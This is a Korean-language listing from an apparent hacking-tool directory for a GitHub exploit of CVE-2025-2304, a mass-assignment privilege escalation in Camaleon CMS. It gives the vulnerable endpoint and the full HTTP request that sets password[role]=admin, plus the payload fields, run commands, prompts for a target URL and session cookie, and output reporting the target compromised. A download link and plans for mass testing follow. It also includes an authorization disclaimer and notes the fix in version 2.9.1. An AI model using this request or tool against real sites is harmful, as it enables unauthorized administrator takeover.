Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-2304-exploit | Kitploit
도구/GitHubGitHub/jeanback1/cve-2025-2304-exploit
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubjeanback1/cve-2025-2304-exploit

CVE-2025-2304-exploit

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-2304 - Camaleon CMS Mass Assignment 권한 상승

📌 프로젝트 설명

CVE-2025-2304는 Camaleon CMS(버전 < 2.9.1)의 Mass Assignment 취약점으로, 인증된 사용자가 비밀번호 변경 요청에서 role 파라미터를 조작하여 관리자로 권한을 상승시킬 수 있습니다.

Python 3.x License Security Status

🚨 기술적 취약점 설명

취약점 배경

Camaleon CMS는 Ruby on Rails를 사용하며, 버전 2.9.0의 UsersController#updated_ajax 컨트롤러에 Mass Assignment 취약점이 있습니다. 이 컨트롤러는 제한 없이 .permit!를 사용하므로 요청에 포함된 모든 파라미터가 사용자 모델에 직접 할당될 수 있습니다.

공격 벡터

  1. 취약한 엔드포인트: POST /admin/users/{user_id}/updated_ajax
  2. 핵심 파라미터: password 네임스페이스 내에서 전송되는 password[role]
  3. 메커니즘: 컨트롤러는 params.require(:password)를 처리한 후 .permit!를 적용하며, 이는 어떤 파라미터도 필터링하지 않습니다
  4. 결과: 사용자의 role 필드에 "admin" 값이 주입됩니다

기술적 흐름

root@kitploit:~
POST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded

authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch

password[role] 파라미터는 User.update(permitted_params)에 의해 처리되어 .permit!로 인해 사용자 레코드에 직접 할당되며, 권한이 user에서 admin으로 상승합니다.

⚡ 설치 및 사용법

사전 요구 사항

root@kitploit:~
# Python 3.6+
python3 --version

# Required libraries
pip install requests

스크립트 실행

영문 버전:

root@kitploit:~
python3 exploit_cve_2025_2304_en.py

스페인어 버전:

root@kitploit:~
python3 exploit_cve_2025_2304.py

필요한 입력

스크립트는 대화형으로 다음을 요청합니다:

  1. 서버 기본 URL: http(s)://domain:port
  2. 사용자 ID: 공격자 사용자 식별자
  3. 세션 쿠키: _cms_session 값 (로그인 후 획득)
  4. 새 비밀번호: 선택 사항 (기본값: P@ssw0rd_lab_2025!)

전체 명령 예시

root@kitploit:~
python3 exploit_cve_2025_2304_en.py
root@kitploit:~
[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456

🔧 이 스크립트에 대하여

왜 만들었나?

이 취약점을 발견했을 때, 첫 번째로 든 생각은 Burp Suite를 통해 수동으로 테스트하는 것이었고 실제로 성공했습니다. 하지만 한 걸음 더 나아가 그 수동 프로세스를 반복 가능하고 이식 가능한 무언가로 만들고 싶어서 이 스크립트를 작성했습니다. 단순히 취약점을 악용하는 것 외에도, 이 스크립트를 만드는 과정에서 개인적으로 흥미롭다고 생각하는 몇 가지를 해결할 기회를 얻었습니다:

  • 세션 처리를 통한 다단계 HTTP 흐름 자동화
  • 실시간 응답에서 CSRF 토큰 동적 파싱
  • 동일한 엔드포인트의 일관되지 않은 JSON/HTML 응답 처리
  • 익스플로잇의 성공 여부를 정확히 파악하기

저는 Burp나 Caido를 대체하려는 것이 아닙니다. 그 도구들은 대화형 테스트에 있어 대체 불가능합니다. 이 스크립트는 반복 작업 대신 스크립트를 작성하는 편을 선택했을 때 나오는 결과물일 뿐입니다.

⚠️ 고지 사항 및 윤리적 고려 사항

중요 법적 경고

root@kitploit:~
THIS SCRIPT IS EXCLUSIVELY FOR:
- Controlled laboratory environments
- Systems you own or have explicit authorization to test
- Educational purposes and authorized research

STRICTLY PROHIBITED:
- Use on systems without authorization
- Application with malicious intent
- Violation of data protection laws
- Compromising third-party security

The author is not responsible for misuse of this tool.

📊 예시 스크린샷

성공적인 실행

root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║        CVE-2025-2304 │ Camaleon CMS Mass Assignment          ║
║        Privilege Escalation: user → admin                    ║
║        [LABORATORY / CONTROLLED ENVIRONMENT]                 ║
╚══════════════════════════════════════════════════════════════╝

[✔] CSRF token obtained: abc123def456...
[✔] EXPLOIT SUCCESSFUL: Server confirmed the update.
[✔] Status : COMPROMISED
   User 5 should now have 'admin' role.

페이로드 구조

root@kitploit:~
{
    "authenticity_token": "abcd1234",
    "password[password]": "P@ssw0rd_lab_2025!",
    "password[password_confirmation]": "P@ssw0rd_lab_2025!",
    "password[role]": "admin",
    "password[id]": "5",
    "_method": "patch"
}

🛠 로드맵 및 향후 개선 사항

계획된 개선 사항

  1. 로그인 자동화: 세션을 자동으로 획득하기 위한 통합
  2. 버전 탐지: 취약한 버전을 확인하기 위한 핑거프린팅 스크립트
  3. 자동화 파이프라인에서 더 깔끔한 출력을 위한 Verbose/quiet 모드
  4. 대량 테스트: 여러 사용자/URL을 동시에 테스트하는 기능
  5. 보고서 생성: 결과를 JSON/HTML 형식으로 내보내기

확장성

코드는 다음을 용이하게 하도록 모듈식으로 구조화되어 있습니다:

  • 다른 Mass Assignment 취약점에 대한 적용
  • 침투 테스트 프레임워크 통합
  • 로깅 및 모니터링 기능 추가

📚 참고 자료 및 리소스

  • 공식 CVE: CVE-2025-2304
  • Camaleon CMS: 공식 저장소
  • 패치: 버전 2.9.1에서 .permit! 사용이 수정됨
  • Rails 문서: Strong Parameters

🤝 기여

다음과 같은 기여를 환영합니다:

  1. 성공 조건 탐지 개선
  2. 윤리적 초점을 유지하면서 기능 추가
  3. 버그 수정 또는 오류 처리 개선
  4. 추가 사용 사례 문서화

기억하세요: 이 프로젝트는 순전히 교육 및 승인된 연구 목적만을 가집니다.


최종 업데이트: 2025년 4월 | 작성자: 보안 분석가 (실험실 환경)

도구 다운로드